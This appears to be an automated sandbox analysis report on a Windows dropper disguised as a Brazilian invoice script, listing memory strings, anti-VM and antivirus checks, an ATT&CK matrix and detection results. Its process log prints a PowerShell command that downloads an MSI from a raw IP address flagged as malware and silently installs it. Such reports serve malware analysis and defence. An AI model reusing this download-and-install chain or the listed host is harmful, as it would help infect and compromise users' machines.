Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Server
Source: windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199431913.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Debug
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Standard without Hyper-V Full
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/DiagnosticLMEMX
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Enterprise without Hyper-V Core
Source: windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199431913.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Admin
Source: windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: stVMWare
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: stQEMU
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BB7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Microsoft-Windows-Hyper-V-Hypervisor-Operationalx
Source: windows10.exe, 00000017.00000003.2493758535.000000000083C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199431913.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-NETVSC/Diagnostic"c
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BB7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnosealx
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 6without Hyper-V for Windows Essential Server Solutions
Source: MSI7F24.tmp, 00000009.00000002.1737165958.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C24000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: &Microsoft-Windows-Hyper-V-VID-Analytic
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198578857.000000000081B000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AnalyticLMEM`
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198755968.0000000000812000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/OperationalLMEMh
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C3A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: +Microsoft-Windows-Hyper-V-NETVSC/Diagnostic`
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198578857.000000000081B000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DebugLMEM`
Source: svchost.exe, 00000004.00000002.2869588509.000001B23D22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BCD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: -Microsoft-Windows-Hyper-V-Guest-Drivers/Debug
Source: windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Standard without Hyper-V Core
Source: windows10.exe, 00000017.00000003.2199348333.0000000000837000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000835000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Operationalp
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.000000000081F000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AdminLMEMH
Source: windows10.exe, 00000017.00000003.2199348333.0000000000837000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198864272.000000000082E000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000835000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnose}lerts

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Code function: 13_2_0127E8AD rdtsc

13_2_0127E8AD

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AF83BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_00AF83BD

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B103E8 mov eax, dword ptr fs:[00000030h]	9_2_00B103E8
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B0843F mov ecx, dword ptr fs:[00000030h]	9_2_00B0843F
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_008403E8 mov eax, dword ptr fs:[00000030h]	10_2_008403E8
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0083843F mov ecx, dword ptr fs:[00000030h]	10_2_0083843F

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00B11533 GetProcessHeap,

9_2_00B11533

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSI7F24.tmp "C:\Windows\Installer\MSI7F24.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Jump to behavior

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AF83BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00AF83BD
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AFC3B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00AFC3B6
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AF8553 SetUnhandledExceptionFilter,	9_2_00AF8553
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00AF7B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00AF7B9C
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0082C3B6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0082C3B6
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_008283BD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_008283BD
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_00828553 SetUnhandledExceptionFilter,	10_2_00828553
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_00827B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00827B9C

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: z1Pedido-Faturado-NF-938731.cmd, type: SAMPLE
Source: Yara match	File source: amsi64_7632.amsi.csv, type: OTHER

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AD7660 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,GetProcessId,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,GetWindowThreadProcessId,GetWindowLongW,

9_2_00AD7660

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msiexec.exe msiexec /i "C:\Users\user\AppData\Local\Temp\arquivo.msi" /quiet /qn	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\"	Jump to behavior

Source: windows10.exe, 00000017.00000002.3065560354.0000000004C16000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C16000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROGRAM MANAGER1~
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C16000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROGRAM MANAGER
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C24000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Managery

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AF801C cpuid

9_2_00AF801C

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoEx,	9_2_00AF71C1
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	9_2_00AE2161
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: EnumSystemLocalesW,	9_2_00B136B6
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: EnumSystemLocalesW,	9_2_00B0C7A2
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: EnumSystemLocalesW,	9_2_00B1379C
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: EnumSystemLocalesW,	9_2_00B13701
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_00B13827
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoW,	9_2_00B13A7A
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_00B13BA3
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoW,	9_2_00B13CA9
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetLocaleInfoW,	9_2_00B0CD1F
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_00B13D78
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoEx,	10_2_008271C1
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoEx,FormatMessageA,	10_2_00812161
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: EnumSystemLocalesW,	10_2_008436B6
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: EnumSystemLocalesW,	10_2_0084379C
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: EnumSystemLocalesW,	10_2_0083C7A2
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: EnumSystemLocalesW,	10_2_00843701
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00843827
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoW,	10_2_00843A7A
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00843BA3
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoW,	10_2_00843CA9
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetLocaleInfoW,	10_2_0083CD1F
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00843D78

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AF8615 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

9_2_00AF8615

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00B0D192 GetTimeZoneInformation,

9_2_00B0D192

Source: windows10.exe, 00000017.00000003.2494094433.0000000000830000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.2872629882.0000000000830000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2493758535.0000000000824000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ender\MsMpeng.exe
Source: windows10.exe, 00000017.00000003.2494094433.0000000000830000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.2872629882.0000000000830000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2493758535.0000000000824000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.2868807384.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter : AntiVirusProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter : AntiSpywareProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter : FirewallProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiSpywareProduct
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : FirewallProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	31 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	12 Process Injection	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	75 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	291 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Masquerading	Cached Domain Credentials	61 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	61 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z1Pedido-Faturado-NF-938731.cmd	0%	ReversingLabs
z1Pedido-Faturado-NF-938731.cmd	6%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	45%	ReversingLabs	Win32.Trojan.InjectorX
C:\Users\user\Pictures\fotosdaviagem\windows10.exe	3%	ReversingLabs
C:\Windows\Installer\MSI7AC9.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7B56.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7C03.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7C43.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7CC1.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7F24.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7F35.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
jsdelivr.map.fastly.net	0%	Virustotal	Browse
vlibras.gov.br	0%	Virustotal	Browse
www.quadrix.org.br	0%	Virustotal	Browse
part-0023.t-0009.t-msedge.net	0%	Virustotal	Browse
c.clarity.ms	0%	Virustotal	Browse
www.clarity.ms	0%	Virustotal	Browse
v.clarity.ms	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.indyproject.org/	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe
https://www.clarity.ms/s/0.7.32/clarity.js	0%	URL Reputation	safe
http://www.globalsign.net/repository/03	0%	URL Reputation	safe
https://www.quadrix.org.br/assets/quadrix-basic/scripts/rybenaDOM.js	0%	Avira URL Cloud	safe
http://secure.globalsign.net/cacert/ObjectSign.crt09	0%	Avira URL Cloud	safe
https://vlibras.gov.br/app//assets/access_icon.svg	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/cdn-cgi/apps/head/p4vv9MANyR7lncHFWaoN14UULso.js	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/favicon.ico	0%	Avira URL Cloud	safe
https://www.quadrix.org.br	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/cdn-cgi/apps/body/6ps6-p5y2d01PkUzqq17Wmg4RqQ.js	0%	Avira URL Cloud	safe
http://www.globalsign.net/repository/0	0%	Avira URL Cloud	safe
http://secure.globalsign.net/cacert/ObjectSign.crt09	0%	Virustotal		Browse
https://www.quadrix.org.br/web/l10n.js	0%	Avira URL Cloud	safe
https://www.quadrix.org.br	0%	Virustotal		Browse
https://www.quadrix.org.br/web/images/toolbarButton-pageUp.png	0%	Avira URL Cloud	safe
http://www.globalsign.net/repository/0	0%	Virustotal		Browse
https://www.quadrix.org.br/web/viewer.js	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js	0%	Avira URL Cloud	safe
http://34.68.151.162/arquivo.msi	100%	Avira URL Cloud	malware
https://www.quadrix.org.br/web/images/shadow.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/loading-small.png	0%	Avira URL Cloud	safe
http://www.quadrix.org.br/)	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/build/pdf.worker.js	0%	Avira URL Cloud	safe
http://34.68.151.162/arquivo.msi	3%	Virustotal		Browse
http://www.globalsign.net/repository09	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-zoomIn.png	0%	Avira URL Cloud	safe
file:///C:/Users/user/Downloads/downloaded.htm	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/loading-icon.gif	0%	Avira URL Cloud	safe
http://www.globalsign.net/repository09	0%	Virustotal		Browse
https://www.quadrix.org.br/web/images/toolbarButton-print.png	0%	Avira URL Cloud	safe
https://concursos.quadrix.org.br/)	0%	Avira URL Cloud	safe
http://34.68.151.162/arquivo.msiUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userU	0%	Avira URL Cloud	safe
http://34.68.151.16	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-search.png	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/texture.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/viewer.css	0%	Avira URL Cloud	safe
https://vlibras.gov.br/app/vlibras-plugin.js	0%	Avira URL Cloud	safe
http://isencao.quadrix.org.br/)	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/build/pdf.js	0%	Avira URL Cloud	safe
https://vlibras.gov.br/app//assets/access_popup.jpg	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-secondaryToolbarToggle.png	0%	Avira URL Cloud	safe
